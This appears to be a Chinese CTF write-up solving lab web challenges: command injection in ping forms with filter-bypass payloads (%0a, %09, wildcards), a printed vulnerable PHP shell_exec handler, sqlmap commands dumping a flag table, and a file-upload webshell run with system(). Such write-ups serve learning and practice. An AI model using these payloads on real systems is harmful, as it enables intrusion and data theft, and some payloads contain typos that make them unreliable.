一.ping 1
(1)题目栏里边要求ping一个地址
法一是常规方法,法二是另外一种命令分隔符
1. ip=127.0.0.1;
2. ip=||
||是或的意思,同时也是命令分隔符
||表示只有前面的命令执行失败才执行下一条命令,直到执行成功一条命令为止
因为||前面没有命令,所以默认连接前的一条命令错误,执行后边连接的命令
通过源码我们发现,本题的方式为post,所以根据要求我们用hackbar来进行post传参
(2)常规的过程,先查看目录下有哪些文件,因为没有源码,所以只能先试试看
1. ip=127.0.0.1;ls
2. ip=|| ls
发现都没有回显,猜测应该是过滤了命令连接符;
我们通过URL编码来绕过试试看
1. ip=127.0.0.1%0als
2. ip=|| ls


这里两种方式都可以回显,但是我们发现ip=|| ls里要有一个空格才可以,原因可能跟过滤的东西有关,一会再来看
(3)发现了flag.txt 激动的打开它
1.ip=127.0.0.1%0acat flag.txt
2.ip=|| cat flag.txt
可恶啊,flag是假的,看来这题的flag没有那么容易得到了,发现flag.txt底下还有一个index.php文件,这里要知道index.php文件是"普遍意义上的首页"我们把它打开看看
1. ip=127.0.0.1%oa cat index.php
2. ip=127.0.0.1|| cat index.php
发现了题目了源码:
<html>
<form action="#" method="post">
<p>
Ping an IP address:
<input type="text" name="ip" >
<input type="submit" value="ping">
</p>
</form>
<pre><html>
<form action="#" method="post">
<p>
Ping an IP address:
<input type="text" name="ip" >
<input type="submit" value="ping">
</p>
</form>
<?php
if( isset( $_POST[ 'ip' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
//$cmd = shell_exec('whoami');
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
</html></pre></html>
我们发现过滤了以下的字符:
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '
'||' => '',
大坑特坑的地方来了,我们发现过滤字符中有一个奇怪的地方, '| ’ => ‘’,这里的单引号引的内容是竖线和一个空格,而不是单纯的一个竖线,这样一来就可以解释前几步中为什么ip=|| ls后边要有一个空格了,因为||和|都是一个命令分隔符,本题过滤了‘| ’所以ip变成了ip=|ls,执行的命令作用和ip=127.0.0.1|ls的作用也就有相同的效果。当然如果一定要用到竖线,我们也可以用以下命令:
1. ip=|ls
2. ip=|ls /
3. ip=|cat flag.php
(4)在做题的过程中,如果ls 目录下没有我们想要的东西,我们应该想到去查看它的根目录
根目录:/或者../../../../一直到根目录
1. ip=127.0.0.1%oals /
2. ip=|| ls /
3. ip=|ls /
发现了真正的flag
(5)接下来打开REAL_flLLLAAAag就好了
1. ip=127.0.0.1%0a cat /REAL_flLLLAAAag
2. ip=|| cat /REAL_flLLLAAAag
3. ip=|cat /REAL_flLLLAAAag
回显后打开源码即可发现flag,或者通过抓包也可以发现flag

二.ping 2
法一.
(1)打开题目发现本题需要以get的方式进行ping命令,而且把改该过滤了东西都过滤掉了,要耐心的去找到绕过姿势
(2)首先还是按照正常操作,访问目录下的文件,题目里过滤了分号,竖线,&符各种命令分隔符,所以可以在URL地址栏里用%0a来代替分号命令分隔符,虽然%也被过滤了,但是在URL地址栏中%0a会被二次编码,从而达成绕过姿势%0a替代;
?ip=127.0.0.1%0als
(2)又发现了flag文件,怀着好奇心,我又一次打开了它,这里打开文件的绕过姿势%09代替空格 tac代替cat f*代替flag
原命令:?ip=127.0.0.1;cat flag
绕过命令:?ip=127.0.0.1%0atac%09f*
(3)不想说话,又被骗了,接下里去打开其他文件看看,打开YunXi,这里打开文件命令,最好cat和ls都试一下,以免环境问题和电脑问题出现无法显示Y*代替YunXi
?ip=127.0.0.1%0als%09Y*
(4)发现了flag所在的目录,接下来先进入yunxi文件,再打开flag文件
?ip=127.0.0.1%0acd%09Y*%0atac%09f*

法二.

三.Ez-SQL
(1)打开环境,发现一个QQ空间登录页面,出题人好厉害爱了爱了。
(2)我们在登录框中随便输入账号和密码,开代理抓包,猜测可能是post注入,于是我们将流量包以txt文本的方式复制到电脑的桌面上(也可以复制到其他位置,仅你喜欢)

(3)接下来,用sqlmap跑一下,在用post注入时我们需要关心的地方有两处
1.抓包位置?
2.参数是什么?
确定好以上两个信息后,一步一步来注入
本题中你输入账号和密码的位置就是注入的参数,我们在流量包中看,发现参数为u和n,因为不确定是哪个参数,所以需要试一下
❶sqlmap.py -r D:\桌面\post.txt --dbs --level=5 --risk=3 --dbms=mysql
跑出的结果参数为u
❷爆库sqlmap.py -r D:\桌面\post.txt --dbs --level=5 --risk=3 --dbms=mysql -p u

❸爆表sqlmap.py -r D:\桌面\1.txt --dbs --level=5 --risk=3 --dbms=mysql -p u -D challenges --tables

❹爆字段名sqlmap.py -r D:\桌面\1.txt --dbs --level=5 --risk=3 --dbms=mysql -p u -D challenges -T fl44444g --columns

❺爆字段内容sqlmap.py -r D:\桌面\1.txt --dbs --level=5 --risk=3 --dbms=mysql -p u -D challenges -T fl44444g -C flag --dump

参数:--level=5 次参数用于显示检测等级,共7个等级,依次为0、1、2、3、4、5和6。
0:只显示Python信息、错误信息和关键信息;
1:(默认)同时显示普通信息和警告信息;
2:同时显示调试信息[DEBUG];
3:同时显示注入使用的攻击荷载;
4:同时显示HTTP请求;
5:同时显示HTTP响应头;
6:同时显示HTTP响应体。
检测级别不仅会影响payload的使用,还会影响注入点的检测,GET和POST参数是一直会被检测的,
检测级别大于等于2时会检测cookie是否有注入,检测级别大于等于3时会检测User-Agent和Referer是否有注入。
若不是很清楚注入点在哪里可以设置一个比较高的检测级别。
强烈建议在向Sqlmap官方报告一个明确存在的注入漏洞检测不出来前先把检测级别调高试试。
参数:-–risk=3 此参数用于指定风险等级,有1~4共4级。
1:默认风险等级为1,此等级在大多数情况下对测试目标无害。
2:风险等级2添加了基于时间的注入测试,
3:等级3添加了OR测试。
若注入点是在UPDATE语句中,使用OR测试可能会修改整个表的数据,这显然不是攻击者想要看到的。因此用户需要能控制风险等级避开有潜在风险的payload。
当然这题也可以不用风险和检测等级的辅助,直接来
❶sqlmap.py -r 流量包位置 -p u --dbs
❷sqlmap.py -r 流量包位置 -p u -D chanllenges --tables
❸sqlmap.py -r 流量包位置 -p u -D chanllenges -T fl44444g --columns
❹sqlmap.py -r 流量包位置 -p u -D chanllenges -T fl44444g -C flag --dump
四.upload
(1)上传一个图片码来绕过后端检测
(2)抓包改后缀为phtml来代替php文件,让蚁剑可以连接
(3)用get或者request来绕过post检测
这里说明:
get:直接在URL框中传参
post:在hackbar中使用post传参
request:既可以用get的方式又可以用post的方式
(4)我使用的是request 所以可以直接在URL框中进行
(5)看一下我们上传的文件是否成功,可以看到你上传的内容就说明成功了
可以用dirsearch扫描一下存在的目录
命令: python dirsearch.py -u URL


发现了upload的地址,直接访问http://192.168.31.28091/upload如果有回显,就可以用蚁剑连接了,在蚁剑中输入的URL是http://192.168.31.28091/upload/1.phtml

首先列出目录下的文件没有发现flag?messi=system("ls ");

列出根目录下的文件发现了flag?messi=system("ls /");

打开flag文件?messi=system("cat /flag");

五.Crypto&Misc
emo表情解码可以找专门的解码软件也可以用base100进行解码




被折叠的 条评论
为什么被折叠?



